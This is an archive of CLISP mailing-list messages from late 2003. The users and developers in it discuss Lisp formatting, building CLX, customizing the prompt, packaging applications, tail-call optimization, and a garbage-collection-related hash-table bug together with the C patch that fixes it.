> (defun factorial (n)
> 	(if (< n 2) 1
> 	   (* n (factorial (- n 1)))
> 	)
> )
>
if it fits on one line

(defun factorial (n)
   (if (< n 2) 1 (* n (factorial (- n 1)))))

or depending on the context even

(defun factorial (n) (if (< n 2) 1 (* n (factorial (- n 1)))))

otherwise

(defun factorial (n)
   (if (< n 2)
     1
     (* n (factorial (- n 1)))))




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Per the message sent by james anderson:
...
> if it fits on one line

> (defun factorial (n)
>    (if (< n 2) 1 (* n (factorial (- n 1)))))

> or depending on the context even

> (defun factorial (n) (if (< n 2) 1 (* n (factorial (- n 1)))))

Finally someone that agrees with me! If I could only get the list
autoformatter to undersand how code lines are related it could present
them with the relations they deserve. 

> otherwise

> (defun factorial (n)
>    (if (< n 2)
>      1
>      (* n (factorial (- n 1)))))

But this is not a coding style issue as much as a presentation issue.  I thought
the question was one of coding style - to wit:

(defun factorial (n &aux tmp) (setf tmp 1) (loop for i from 1 to n do (setf tmp (* tmp i))) tmp)

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Hello all,

I have successfully gotten CLisp and CMUCL to run within a TeXmacs
session, and have begun writing Lisp code to generate TeXmacs output
(so far, I have graphical representation of Lisp trees finished). I plan
to write a routine to create nicely formatted tables from Lisp arrays too.

Is there a de facto (I don't want to support 12 of them) LaTeX package for
Lisp? TeXmacs can render LaTeX, so providing some routines to do this
would be nice.

OTOH, TeXmacs uses Scheme internally. One can create TeXmacs markup using
Scheme syntax such as:

(concat (em "This text is italicized.") " " (strong "This text is bold."))

Such ability could easily be provided to Lisp, too.

So, there are a lot of ways in which Lisp could support TeXmacs. Are there
preferences or religious obligations that I should be aware of?

I especially want to hear from people that use TeX/LaTeX a lot, because
TeXmacs is aimed at you!



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I have been trying to build clx without any luck. 
Does anyone know where if it is possible to get clx
and a makefile for clisp?  I spent a good number of
hours trying to fix an older version -- reading over
macros for systems and things that I've never heard
of, like Genera.  In a couple of weeks I'll have some
time so I am willing to contribute any work that needs
to be done to this project or any others.

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Hi,

The just-released GNU gettext 0.13 has improved support for CLISP programs:

  * An example demonstrating the use of GNU gettext with CLISP is shipped and
    installed at $prefix/share/doc/gettext/examples/hello-clisp.

URL: http://ftp.gnu.org/gnu/gettext/gettext-0.13.tar.gz

Enjoy!

                                Bruno



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> * zera holladay <mren_ubyynqnl@lnubb.pbz> [2003-12-01 05:20:27 -0800]:
>
> I have been trying to build clx without any luck.

CLISP comes with 2 implementations of CLX.
try
$ ./configure --with-module=clx/new-clx --build build-new-clx
$ ./build-new-clx/clisp -K full
or
$ ./configure --with-module=clx/mit-clx --build build-mit-clx
$ ./build-mit-clx/clisp -K full



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> * Michael Graffam <ztenssnz@znguyno.fhalfo.rqh> [2003-11-27 12:54:47 -0500]:
>
> Could someone please help me out with changing clisp's command line
> prompts?

CLISP prompt consists of 4 parts.

1. (SYS::PROMPT-STRING1) string.  empty by default.

2. Break.<level> or Step.<level> (optional)

3. (SYS::PROMPT-STRING2) string - whatever *PROMPT* is, see
   <http://clisp.cons.org/impnotes/prompt.html>

4. (SYS::PROMPT-STRING3) string, "> " by default.

Note that only *PROMPT* (part 3) is customizable.

The reason for non-customizable PROMPT-STRING1 and PROMPT-STRING3 is
probably to use different fonts for prompts and to help CLISP running
under Emacs.

E.g., PROMPT-STRING1 might output a control string which will make the
terminal print bold characters and PROMPT-STRING3 will revert to the
original font, so that the prompt is bold and the rest is normal (to
make it easier for the user to distinguish CLISP output from his own
commands).

When CLISP is running under Emacs, its prompt must match
`inferior-lisp-prompt' or a similar variable in ILisp, so
PROMPT-STRING3 prints something that matches it.
Note that the above ELisp variable is semi-obsolete (it is used only
when `comint-use-prompt-regexp-instead-of-fields' is non-nil, and that
is nil by default), so this use of PROMPT-STRING3 is not applicable
these days.

It might make sense to export functions PROMPT-START (instead of
PROMPT-STRING1), PROMPT-BODY (instead of PROMPT-STRING2 and *PROMPT*)
and PROMPT-FINISH (instead of PROMPT-STRING3), and default PROMPT-START
and PROMPT-FINISH to return "".

I hope Bruno will clarify this issue further.


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> * Szymon <khe@jc.cy> [2003-11-26 18:58:28 +0100]:
>
> question: can I send (to this mailinglist) stupid problems like this?

yes.  <http://clisp.cons.org/faq.html#help>

> *** - invalid byte #xB3 in CHARSET:ASCII conversion

<http://clisp.cons.org/faq.html#enc-err>
Try "clisp -E utf-8".

see also <http://clisp.cons.org/impnotes/environment.html#debugger>
(try "where").

note that (directory "foo/**/") is the same as your (dirs "foo/").

note that (dirs "foo/" :depth number) is the same as

(let ((*merge-pathnames-ansi* t))
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On Mon, 1 Dec 2003, Sam Steingold wrote:

> The reason for non-customizable PROMPT-STRING1 and PROMPT-STRING3 is
> probably to use different fonts for prompts and to help CLISP running
> under Emacs.

Interestingly enough, the fairly rigid format of the prompts inhibits
CLISP from running under TeXmacs (though this has been solved, as per
previous messages on this list).

> It might make sense to export functions PROMPT-START (instead of
> PROMPT-STRING1), PROMPT-BODY (instead of PROMPT-STRING2 and *PROMPT*)
> and PROMPT-FINISH (instead of PROMPT-STRING3), and default PROMPT-START
> and PROMPT-FINISH to return "".

Yes. Having a clean way to fully define the prompts would be useful in
communicating with external software.

Though, I think I'll have to mention all this on texmacs-dev because
it provides an argument for making TeXmacs more flexible in this regards,
as per Emacs.




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> * Michael Graffam <ztenssnz@znguyno.fhalfo.rqh> [2003-12-01 15:19:37 -0500]:
>
>> It might make sense to export functions PROMPT-START (instead of
>> PROMPT-STRING1), PROMPT-BODY (instead of PROMPT-STRING2 and *PROMPT*)
>> and PROMPT-FINISH (instead of PROMPT-STRING3), and default PROMPT-START
>> and PROMPT-FINISH to return "".
>
> Yes. Having a clean way to fully define the prompts would be useful in
> communicating with external software.

Then we will probably need PROMPT-STEP and PROMPT-BREAK parts too.

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Hi.

> > question: can I send (to this mailinglist) stupid problems like this?
> 
> yes.  <http://clisp.cons.org/faq.html#help>

Nice. Now I have reason to learn how write in english :) (I can only
read it).

> > *** - invalid byte #xB3 in CHARSET:ASCII conversion
> 
> <http://clisp.cons.org/faq.html#enc-err>
> Try "clisp -E utf-8".

Thanks, `-E' works.

> [.....]
> note that (directory "foo/**/") is the same as your (dirs "foo/").

I wrote `dirs' because I read few lisp tutorials and want try it
(trying to reinvent wheel is ok. for me if I do something to
educate myself).

> note that (dirs "foo/" :depth number) is the same as
> 
> (let ((*merge-pathnames-ansi* t))
>   (loop :with d = "foo/" :repeat number
>      :nconc (directory (setq d (merge-pathnames "*/" d)))))

Very nice, thanks. No "super"loop in my tutorials :(

regards, szymon.



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On Mon, 1 Dec 2003, Sam Steingold wrote:

> > * Michael Graffam <ztenssnz@znguyno.fhalfo.rqh> [2003-12-01 15:19:37 -0500]:
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> Then we will probably need PROMPT-STEP and PROMPT-BREAK parts too.

Yeah. Having functions get called at various points in the prompting
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you need to have control over what is sent, and when.

Obscure typesetting across pipes isn't the only area of application,
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In UNIX, never assume stdio is read by a human. :)



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I'm running clisp-2.31 on Windows 2000.  When I run the code at the end of 
this message, it ends up with some entries in the hash table twice (once 
with the value 't' and once with the correct numeric value).  Am I doing 
something incorrect or is this a bug in clisp?

	-Matt

(defun hashtbl-keys (hashtbl)
   (let ((keys ()))
     (maphash #'(lambda (key value)
                  (push key keys) )
              hashtbl)
     keys ) )

(defun check-hash-unique (hashtbl)
   (let ((hash-ok t))
     (do* ((keys (hashtbl-keys hashtbl) (cdr keys))
           (key (car keys) (car keys))
           (other-keys (cdr keys) (cdr keys)) )

          ((null keys) hash-ok)

          (if (member key other-keys)
            (progn
              (format t "ERROR! key '~a' occurs multiple times in the hash 
table!~%" key)
              (setf hash-ok nil) ) ) ) ) )

(defparameter *hashtbl* (make-hash-table :size 1000))

(defun do-hash-test ()
   (loop for countval upfrom 1 upto 15000
         for newsym = (gensym)
         do
         (progn
           (gethash newsym *hashtbl*)
           (setf (gethash newsym *hashtbl*) t)
           (setf (gethash newsym *hashtbl*) countval) )
         finally
         (check-hash-unique *hashtbl*) ) )



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I'm running clisp-2.31 on Windows 2000.  When I run the code at the end of
this message, it ends up with some entries in the hash table twice (once
with the value 't' and once with the correct numeric value).  Am I doing
something incorrect or is this a bug in clisp?

I ran the code in CLisp 2.31 on Linux and got:

[2]> (do-hash-test)
ERROR! key 'G11701' occurs multiple times in the hash table!
NIL

whereas, in CMUCL, SBCL and GCL no errors were produced.

Looks like a bug in CLisp.



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> * Matt Cross <zpebff@vebobg.pbz> [2003-12-02 16:43:10 -0500]:
>
> I'm running clisp-2.31 on Windows 2000.  When I run the code at the
> end of this message, it ends up with some entries in the hash table
> twice (once with the value 't' and once with the correct numeric
> value).  Am I doing something incorrect or is this a bug in clisp?

indeed this is a bug.
moreover, this appears to be a GC-related bug:

(defun hash-table-keys (ht)
  (loop :for kk :being :each :hash-key :of ht :collect kk))
(defun check-hash-unique (ht)
  (let ((hash-ok t))
    (do* ((keys (hash-table-keys ht) (cdr keys))
          (key (car keys) (car keys))
          (other-keys (cdr keys) (cdr keys)))
         ((null keys) hash-ok)
      (when (member key other-keys)
        (format t "ERROR! key ~s occurs multiple times!~%" key)
        (setf hash-ok nil)))))

(defun do-hash-test (ht)
  (clrhash ht)
  (loop for countval upfrom 1 upto 15000
    for key = (format nil "HT-~D" countval)
    do
      (gethash key ht)
      (setf (gethash key ht) t)
      (setf (gethash key ht) countval)
    finally
      (check-hash-unique ht)))

(loop :repeat 2 :do
  (loop :with ht = (make-hash-table :size 1000)
    :for i :from 1 :to 10 :do
    (format t "~& --- ~d ---~%" i)
    (do-hash-test ht)))


 --- 1 ---
ERROR! key "HT-12138" occurs multiple times!
 --- 2 ---
ERROR! key "HT-12138" occurs multiple times!
 --- 3 ---
 --- 4 ---
ERROR! key "HT-8090" occurs multiple times!
ERROR! key "HT-5394" occurs multiple times!
ERROR! key "HT-2398" occurs multiple times!
 --- 5 ---
ERROR! key "HT-12138" occurs multiple times!
 --- 6 ---
 --- 7 ---
ERROR! key "HT-5395" occurs multiple times!
 --- 8 ---
ERROR! key "HT-12136" occurs multiple times!
ERROR! key "HT-8091" occurs multiple times!
ERROR! key "HT-3597" occurs multiple times!
 --- 9 ---
 --- 10 ---
 --- 1 ---
ERROR! key "HT-3597" occurs multiple times!
 --- 2 ---
ERROR! key "HT-5395" occurs multiple times!
 --- 3 ---
ERROR! key "HT-12137" occurs multiple times!
ERROR! key "HT-8092" occurs multiple times!
 --- 4 ---
ERROR! key "HT-12138" occurs multiple times!
 --- 5 ---
ERROR! key "HT-12138" occurs multiple times!
 --- 6 ---
 --- 7 ---
ERROR! key "HT-12137" occurs multiple times!
ERROR! key "HT-3597" occurs multiple times!
 --- 8 ---
ERROR! key "HT-1599" occurs multiple times!
 --- 9 ---
 --- 10 ---
ERROR! key "HT-5395" occurs multiple times!


note that you get two _different_ error logs for the inner loop!
if you replace the strings with (GC-invariant) fixnums, the bug hides.

this appears to have been introduced on 2003-05-16 with the
DEFINE-HASH-TABLE-TEST patch.
I don't see anything in hash_lookup() that could have triggered this.
I don't have time for this now, I hope Bruno will look into this.

> (defun hashtbl-keys (hashtbl)
>    (let ((keys ()))
>      (maphash #'(lambda (key value)
>                   (push key keys) )
>               hashtbl)
>      keys ) )
>
> (defun check-hash-unique (hashtbl)
>    (let ((hash-ok t))
>      (do* ((keys (hashtbl-keys hashtbl) (cdr keys))
>            (key (car keys) (car keys))
>            (other-keys (cdr keys) (cdr keys)) )
>
>           ((null keys) hash-ok)
>
>           (if (member key other-keys)
>             (progn
>               (format t "ERROR! key '~a' occurs multiple times in the
>               hash table!~%" key)
>               (setf hash-ok nil) ) ) ) ) )
>
> (defparameter *hashtbl* (make-hash-table :size 1000))
>
> (defun do-hash-test ()
>    (loop for countval upfrom 1 upto 15000
>          for newsym = (gensym)
>          do
>          (progn
>            (gethash newsym *hashtbl*)
>            (setf (gethash newsym *hashtbl*) t)
>            (setf (gethash newsym *hashtbl*) countval) )
>          finally
>          (check-hash-unique *hashtbl*) ) )

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Sam Steingold writes:
> > * Matt Cross <zpebff@vebobg.pbz> [2003-12-02 16:43:10 -0500]:
> >
> > I'm running clisp-2.31 on Windows 2000.  When I run the code at the
> > end of this message, it ends up with some entries in the hash table
> > twice (once with the value 't' and once with the correct numeric
> > value).  Am I doing something incorrect or is this a bug in clisp?
> 
> indeed this is a bug.
> moreover, this appears to be a GC-related bug:

It  does  not  happen  in  "2.30  (released  2002-09-15)  ..."  either
interpreted or compiled.

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Hello,

I am a C++ programmer, new to lisp and clisp, and after looking at the
documentation I still am unclear on a few basic things.

Does clisp compile to byte code instead of native machine code?

How does speed of execution in clisp compare with lisp compilers that
compile to native machine code?

How would I packaged up a clisp application for distribution? In other
words, does it to create a self contained executable, or are applications
run in some other way?

What would be the command to create an application from the source files
a.cl and b.cl?

What kind of file(s) would be generated? Would there be one file or more
than one?

What would be the command to run that application?

Does the clisp license allow me to distribute my commercial applications
with no restrictions?

Does clisp have tail recursion optimization to prevent stack overflows on
deep recursions?

Thank you,
Blake






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> * Blake D <OynxrGAP@lnubb.pbz> [2003-12-03 11:35:46 -0700]:
>
> Does clisp compile to byte code instead of native machine code?

byte code.

> How does speed of execution in clisp compare with lisp compilers that
> compile to native machine code?

is you are doing lots of floating point computations, you would be
better off with CMUCL.  otherwise, CLISP is fine.

> How would I packaged up a clisp application for distribution?

<http://clisp.cons.org/impnotes/quickstart.html>

> Does the clisp license allow me to distribute my commercial
> applications with no restrictions?

<http://clisp.cons.org/impnotes/app-dev.html>

> Does clisp have tail recursion optimization to prevent stack overflows
> on deep recursions?

no.

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 > I am a C++ programmer, new to lisp and clisp, and after looking at the
 > documentation I still am unclear on a few basic things.

I'm sure you'll get lots of response to this, but you'll probably also
benefit from diversity of opinions

 > Does clisp compile to byte code instead of native machine code?

byte code, no native

 > How does speed of execution in clisp compare with lisp compilers
 > that compile to native machine code?

Really depends on what you are doing.  The general answer of course is
that a native-compiling Lisp is going to be faster.  However, in many
cases you will find that Lisp is not the bottleneck; for example I
write Oracle database apps using a C library that is interfaced to
Lisp (where I do some reporting, stats and anlysis).  Most of the
bottleneck is in the database query and access, and all of that is in
C.  The reporting functionality -- for which the programming power of
Lisp is invaluable -- nonetheless does not consume a lot (in terms of
PERCENTAGE of overall CPU used) of resources.

See http://www.cliki.net/Performance%20Benchmarks for some benchmarks.

 > How would I packaged up a clisp application for distribution? In other
 > words, does it to create a self contained executable, or are
 > applications run in some other way?

As far as I know, to ship a binary application (assuming your customer
cannot be coutned on to already have CLISP installed) you have to ship
TWO things

  - a binary for the CLISP interpreter (including any extra
    modules that are required)
  - your application code, optinally compiled into .FAS file

See http://clisp.cons.org/impnotes/quickstart.html

 > What would be the command to create an application from the source
 > files a.cl and b.cl?

The docs (above) suggest concatenating all the lisp code into one
file, but I just make a top-level file that calls LOAD on all the
seprate Lisp files that make up my app, then add as the first
line the Unix interpreter directive

	#!/usr/local/bin/clisp -q /path/to/toplevel.lisp

where toplevel.lisp is a small file that has lines like:

	  ; Set load path
          (map 'list (lambda (p) (push p *load-paths*))
	     (reverse '(
	                "/first/dir/to/look"
	                "/next/dir/to/look"
	                )))

	; Load individual files
	(eval-when
	 (:compile-toplevel :load-toplevel :execute)
	 (mapcar #'load
	         '("some-module"
	           "another-module")))

	; Call the top-level function to do something

 > What kind of file(s) would be generated? Would there be one file or
 > more than one?

As above (and I might be wrong here), you would need a whole bunch of
files for the CLISP environment, and then your app could be a single
concatenated file, or a collection of them that are loaded in by a
top-level script (which is my practice).

 > What would be the command to run that application?

In Unix, you create a top-level script, with the name of
your choice, and then just run that script.  This is using
the approach of the "#!" interpreter line.

 > Does the clisp license allow me to distribute my commercial
 > applications with no restrictions?

See http://clisp.cons.org/impnotes/app-dev.html

I am not a lawyer, but my interpretation of the above page is:

Yes, you can distribute your commercial app w/out restriction as long
as your app is not compiled into CLISP itself (which might be the case
if you have modules in "C").  I.e., as long as your commercial app
consists of separate Lisp code (either in source form, or compiled
into un-intelligble .FAS files), then there are no restrictions on the
part of the "application" that consists of your own code.  But since
you would also be distributing a CLISP binary you are of course
subject to the restrictions imposed by CLISP's license.

So (and CLISP developers please correct me if I am wrong), you could,
if you wanted, distribute a commercial CLISP-based app, without
divulging the source, by distributing the CLISP binary, together with
your application compiled into .FAS files.

All that said, I would suggest you consider the advantages of
distributing your app as free software (note that that makes it no
less of a "commercial" app).  See
http://www.gnu.org/gnu/thegnuproject.html for some good arguments.

 > Does clisp have tail recursion optimization to prevent stack
 > overflows on deep recursions?

I'm not sure.  The function below gives me a seg. fault when I call it
with N larger than 1764 ...

	(defun factorial (n)
	  (if (<= n 2)
	      n
	    (* n (factorial (- n 1)))))

Shouldnt' this use only a little stack?


Hope this helps.



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> Does clisp have tail recursion optimization to prevent stack overflows on
> deep recursions?

It does seem to do it, but there are other limitations of course:

[1]> 
[2]>  (defun fact (x &optional (r 1)) (if (<= x 1) r (fact (1- x) (* x r))))
FACT
[9]> (compile 'fact)
FACT ;
NIL ;
NIL
[10]> (fact (fact 10))
*** - overflow during multiplication of large numbers
1. Break [11]> :bt
EVAL frame for form (FACT (FACT 10))
Printed 0 frames
1. Break [11]> :bt4
EVAL frame for form (FACT (FACT 10))
Printed 0 frames
1. Break [11]> :bt3
frame binding variables (~ = dynamically):
  | ~ SYSTEM::*PRIN-STREAM* <--> #<UNBOUND>
frame binding variables (~ = dynamically):
  | ~ *PRINT-READABLY* <--> NIL
frame binding variables (~ = dynamically):
  | ~ *PRINT-ESCAPE* <--> T
Printed 2 frames
1. Break [11]> 



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John K. Hinsdale writes:
> I'm not sure.  The function below gives me a seg. fault when I call it
> with N larger than 1764 ...
> 
> 	(defun factorial (n)
> 	  (if (<= n 2)
> 	      n
> 	    (* n (factorial (- n 1)))))
> 
> Shouldnt' this use only a little stack?

You have a problem:

[21]> (time (factorial 10000))
Real time: 1.986322 sec.
Run time: 1.81 sec.
Space: 69640484 Bytes
GC: 34, GC time: 1.38 sec.

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What about?

(defun factorial (n)
  (do ((j n (- j 1))
       (f 1 (* j f)))
      ((= j 0) f)))

Or is the point to test something we would not do or
would never be practical?  

Further, I also don't think the recursive version of 

 	(defun factorial (n)
 	  (if (<= n 2)
 	      n
 	    (* n (factorial (- n 1)))))


is a tail recursive function since the (* n (fact... )
function is pending after the recursive calls return. 
I tried a few painful tail recursive functions for
factorial, but after a while I had to ask  myself why
I was doing this.

-zh

--- "Pascal J.Bourguignon" <pjb@informatimago.com>
wrote:
> John K. Hinsdale writes:
> > I'm not sure.  The function below gives me a seg.
> fault when I call it
> > with N larger than 1764 ...
> > 
> > 	(defun factorial (n)
> > 	  (if (<= n 2)
> > 	      n
> > 	    (* n (factorial (- n 1)))))
> > 
> > Shouldnt' this use only a little stack?
> 
> You have a problem:
> 
> [21]> (time (factorial 10000))
> Real time: 1.986322 sec.
> Run time: 1.81 sec.
> Space: 69640484 Bytes
> GC: 34, GC time: 1.38 sec.
> 


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(defun fact-tail-recursive (x &optional (acc 1))
    (if (zerop x)
        acc
        (fact-tail-recursive (1- x) (* x acc))))





On Wednesday, Dec 3, 2003, at 18:03 America/New_York, zera holladay 
wrote:

> What about?
>
> (defun factorial (n)
>   (do ((j n (- j 1))
>        (f 1 (* j f)))
>       ((= j 0) f)))
>
> Or is the point to test something we would not do or
> would never be practical?
>
> Further, I also don't think the recursive version of
>
>  	(defun factorial (n)
>  	  (if (<= n 2)
>  	      n
>  	    (* n (factorial (- n 1)))))
>
>
> is a tail recursive function since the (* n (fact... )
> function is pending after the recursive calls return.
> I tried a few painful tail recursive functions for
> factorial, but after a while I had to ask  myself why
> I was doing this.
>
> -zh
>
> --- "Pascal J.Bourguignon" <pjb@informatimago.com>
> wrote:
>> John K. Hinsdale writes:
>>> I'm not sure.  The function below gives me a seg.
>> fault when I call it
>>> with N larger than 1764 ...
>>>
>>> 	(defun factorial (n)
>>> 	  (if (<= n 2)
>>> 	      n
>>> 	    (* n (factorial (- n 1)))))
>>>
>>> Shouldnt' this use only a little stack?
>>
>> You have a problem:
>>
>> [21]> (time (factorial 10000))
>> Real time: 1.986322 sec.
>> Run time: 1.81 sec.
>> Space: 69640484 Bytes
>> GC: 34, GC time: 1.38 sec.
>>
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"John K. Hinsdale" <hin@alma.com> writes:

> The docs (above) suggest concatenating all the lisp code into one
> file, but I just make a top-level file that calls LOAD on all the
> seprate Lisp files that make up my app, then add as the first
> line the Unix interpreter directive
>
> 	#!/usr/local/bin/clisp -q /path/to/toplevel.lisp

You can also load your code into CLISP, dump an image
(ext:saveinitmem), then load that image at startup with the -M
command-line option. Then all your startup program has to do is call
on some other function loaded as part of the saved image, possibly
after inspecting some command-line arguments.

Your user-visible "program" could then look like:

,----
| #!/usr/local/bin/clisp -norc -M lispinit.mem
| 
| (do-it)
| (ext:exit)
`----

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Thank you everyone who answered my questions... You've helped a lot. 

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Who here is interested in adding a native compilation option to clisp for
each platform that it supports?

I know that I for one would be willing to dedicate significant time to such
a project. Speed is important to the server programs I am writing, and
currently my only choices for cross platform native compilation of lisp for
Windows, Linux, and Macintosh, are LispWorks and Allegro.

Speaking of which, can anyone here give an opinion on the LispWorks product
line? They charge $1000 for the professional version for each platform. I
know they have an evaluation, but it would be great to get the opinion of
someone who has used the product a significant amount.

Blake



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> * Steven E. Harris <fruneevf@enlgurba.pbz> [2003-12-04 07:54:53 -0800]:
>
> You can also load your code into CLISP, dump an image
> (ext:saveinitmem), then load that image at startup with the -M
> command-line option. Then all your startup program has to do is call
> on some other function loaded as part of the saved image, possibly
> after inspecting some command-line arguments.
>
> Your user-visible "program" could then look like:
>
> ,----
> | #!/usr/local/bin/clisp -norc -M lispinit.mem
> | 
> | (do-it)
> | (ext:exit)

EXIT is not needed - script exits when the file ends

> `----

you can just create an alias to

/usr/local/bin/clisp -norc -M lispinit.mem -x '(do-it)'

moreover, you can make you image run DO-IT on startup (see
<http://clisp.cons.org/impnotes/p-indep.html#image>) and then "clisp -M
lispinit.mem" will run your stuff.

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Hi.

> > Does clisp have tail recursion optimization to prevent stack overflows
> > on deep recursions?
> 
> no.

why ?

regards, szymon.



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> * Blake D <OynxrGAP@lnubb.pbz> [2003-12-04 09:39:57 -0700]:
>
> Who here is interested in adding a native compilation option to clisp
> for each platform that it supports?

Stefan Kain worked on a bytecode->C compiler.
I am not sure how far he got.

The idea is to eliminate to cost of interpret_bytecode_() function in
eval.d, which would speed up CLISP by up to 50%.

If you want a full-scale "Sufficiently Smart Compiler" with type
inferencing &c &c &c, your effort is probably better spent porting CMUCL
and/or SBCL to win32 & Mac.

> I know that I for one would be willing to dedicate significant time to
> such a project.

Personally, I think that it is more important to get MT & CLIM working
on CLISP (and speed-wise, optional tail-call - not just recursive! -
elimination is a better bang/buck optimization).  YMMV.

> Speed is important to the server programs I am writing,

A better way might be to turn your bottlenecks to C and link them to
CLISP as modules.

> Speaking of which, can anyone here give an opinion on the LispWorks
> product line?

You might have better luck on this if you asked comp.lang.lisp.

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Sam Steingold <sds@gnu.org> writes:

> EXIT is not needed - script exits when the file ends

Ah, I see. My mistake, per below.

> you can just create an alias to
>
> /usr/local/bin/clisp -norc -M lispinit.mem -x '(do-it)'

Yes, for very simple scripts like this one. I was cheating with my
example, though. My startup script is actually about ten lines
long. It's stuff that I didn't feel like building into the image as I
toyed with the user interface of the script.

> moreover, you can make you image run DO-IT on startup (see
> <http://clisp.cons.org/impnotes/p-indep.html#image>) and then "clisp
> -M lispinit.mem" will run your stuff.

Yes, I have experimented with the :INIT-FUNCTION argument to
EXT:SAVEINITMEM. That must have been where I picked up the use of the
EXT:EXIT function being required at the end.

I found that using this feature was limiting. My scenario: build a
single image with as a "library" or union of functionality, with lots
of little startup scripts each calling some different "application"
entry point in that image. I guess one could do the same thing by
having the :INIT-FUNCTION check which command name was invoked on the
command-line and decide what to do from there.

There's enough flexibility in there to do the same job in many
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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> Personally, I think that it is more important to get MT & CLIM working
    Sam> on CLISP (and speed-wise, optional tail-call - not just recursive! -

Do you think clisp could run McCLIM fast enough to be usable?  Just
curious.  McCLIM is pretty slow with cmucl on a 400 MHz sparc box.
It's pretty slow on a 900 MHz x86 box too.

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> * Szymon <khe@jc.cy> [2003-12-04 18:35:57 +0100]:
>
>> > Does clisp have tail recursion optimization to prevent stack overflows
>> > on deep recursions?
>> no.
> why ?
debuggability

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> * Raymond Toy <gbl@egc.revpffba.fr> [2003-12-04 13:09:27 -0500]:
>
>>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
>
>     Sam> Personally, I think that it is more important to get MT &
>     Sam> CLIM working on CLISP
>
> Do you think clisp could run McCLIM fast enough to be usable?

yes.  I don't think CLISP is _that_ much slower than CMUCL.
can you try it?

> McCLIM is pretty slow with cmucl on a 400 MHz sparc box.
> It's pretty slow on a 900 MHz x86 box too.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * Raymond Toy <gbl@egc.revpffba.fr> [2003-12-04 13:09:27 -0500]:
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    >>>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
    >> 
    Sam> Personally, I think that it is more important to get MT &
    Sam> CLIM working on CLISP
    >> 
    >> Do you think clisp could run McCLIM fast enough to be usable?

    Sam> yes.  I don't think CLISP is _that_ much slower than CMUCL.
    Sam> can you try it?

I can try, but I'm not motivated to do anything more than just
compiling it and running a few demos.  I don't use mcclim at all. :-)

    >> McCLIM is pretty slow with cmucl on a 400 MHz sparc box.
    >> It's pretty slow on a 900 MHz x86 box too.

    Sam> wow.

I think that's subjective.  I think mozilla is pretty slow on these
boxes too.  Far slower than Netscape 4.x.

Ray



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Hi.
> >> > Does clisp have tail recursion optimization to prevent stack overflows
> >> > on deep recursions?
> >> no.
"no" ---> both interpreted & compiled code?
> > why ?
> debuggability
Thanks.

Does compilation (in clisp) transform tail-recursion to loops?  For
example: before compilation I can execute tail-rec fuction ~3000
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> * Raymond Toy <gbl@egc.revpffba.fr> [2003-12-04 13:53:47 -0500]:
>
>     Sam> Personally, I think that it is more important to get MT &
>     Sam> CLIM working on CLISP
>     Sam> can you try it?
>
> I can try, but I'm not motivated to do anything more than just
> compiling it and running a few demos.

please do.  thanks.


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> * Szymon <khe@jc.cy> [2003-12-04 20:28:49 +0100]:
>
>> >> > Does clisp have tail recursion optimization to prevent stack overflows
>> >> > on deep recursions?
>> >> no.
> "no" ---> both interpreted & compiled code?
yes.

>> > why ?
>> debuggability
> Thanks.
>
> Does compilation (in clisp) transform tail-recursion to loops?

no.  patches that optionally optimize tail calls (not necessarily
recursive) are welcome.

> For example: before compilation I can execute tail-rec fuction ~3000
> times (clisp -m2MB), after compile '... 30000+ (no time to test it
> longer).

compiled code uses less stack.

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Raymond Toy writes:

> Do you think clisp could run McCLIM fast enough to be usable?  Just

You bet. Early versions of McCLIM did run on CLISP (only with MIT CLX
and not NCLX, I seem to remember). Performance was "acceptable" with
CLISP and "good" with CMUCL under Linux on my old 200 MHz, non-MMX
Pentium PC with 64 MB of RAM...

> curious.  McCLIM is pretty slow with cmucl on a 400 MHz sparc box.
> It's pretty slow on a 900 MHz x86 box too.

...but now McCLIM just flies on my new 2.8 GHz Pentium IV monster with
2 GB of RAM :) The CLIM listener takes around 15 seconds to draw the
impressive graph generated by the command:

  Show Class Subclasses (class) t


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> * Matt Cross <zpebff@vebobg.pbz> [2003-12-02 16:43:10 -0500]:
>
> I'm running clisp-2.31 on Windows 2000.  When I run the code at the
> end of this message, it ends up with some entries in the hash table
> twice (once with the value 't' and once with the correct numeric
> value).  Am I doing something incorrect or is this a bug in clisp?

this is a bug in CLISP, introduced on 2003-05-13.
Please try the appended patch.

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--- hashtabl.d.~1.57.~	2003-10-27 09:34:27.700910400 -0500
+++ hashtabl.d	2003-12-04 16:28:05.421879500 -0500
@@ -1148,20 +1148,26 @@
 }
 
 /* Macro: Enlarges a hash-table until freelist /= nix
- hash_prepare_store(key_pos);
- > int literal: key position in STACK
+ hash_prepare_store(hash_pos,key_pos);
  > int literal: hash-table position in STACK
+ > int literal: key position in STACK
  < object ht: hash-table
  < object freelist: start of the free-list in the next-vector, /= nix
  < gcv_object_t* Iptr: arbitrary element of the "list", that belongs to the key
+ for EQ/EQL hashtables the hash code changes after GC,
+ so the raw hashcode cannot be cached.
+ for EQUAL/EQUALP/user-defined hashtables, raw hashcode caching is good
+ (especially for the user-defined tables, where hashcode can trigger GC!)
  can trigger GC */
 #define hash_prepare_store(hash_pos,key_pos)                            \
-  do { var uintL hc_raw = hashcode_raw(STACK_(hash_pos),STACK_(key_pos)); \
-    ht = STACK_(hash_pos);                                              \
-   retry:                                                               \
+  do { ht = STACK_(hash_pos);                                           \
     freelist = TheHashtable(ht)->ht_freelist;                           \
     if (eq(freelist,nix)) { /* free-list = empty "list" ? */            \
-      /* yes -> hash-table must be enlarged: */                         \
+      var uintB flags = record_flags(TheHashtable(ht));                 \
+      var uintL hc_raw = 0;                                             \
+      var bool cacheable = !(flags & (bit(0)|bit(1))); /* not EQ|EQL */ \
+      if (cacheable) hc_raw = hashcode_raw(ht,STACK_(key_pos));         \
+     retry: /* hash-table must still be enlarged: */                    \
       /* calculate new maxcount: */                                     \
       pushSTACK(TheHashtable(ht)->ht_maxcount);                         \
       pushSTACK(TheHashtable(ht)->ht_rehash_size); /* REHASH-SIZE (>1) */ \
@@ -1171,9 +1177,12 @@
       ht = resize(STACK_(hash_pos),value1); /* enlarge table */         \
       ht = rehash(ht); /* and reorganize */                             \
       /* newly calculate the address of the entry in the index-vector: */ \
-     {var uintL hashindex = hashcode_cook(hc_raw,TheHashtable(ht)->ht_size); \
+     {var uintL hashindex = cacheable                                   \
+         ? hashcode_cook(hc_raw,TheHashtable(ht)->ht_size)              \
+         : hashcode(ht,STACK_(key_pos));                                \
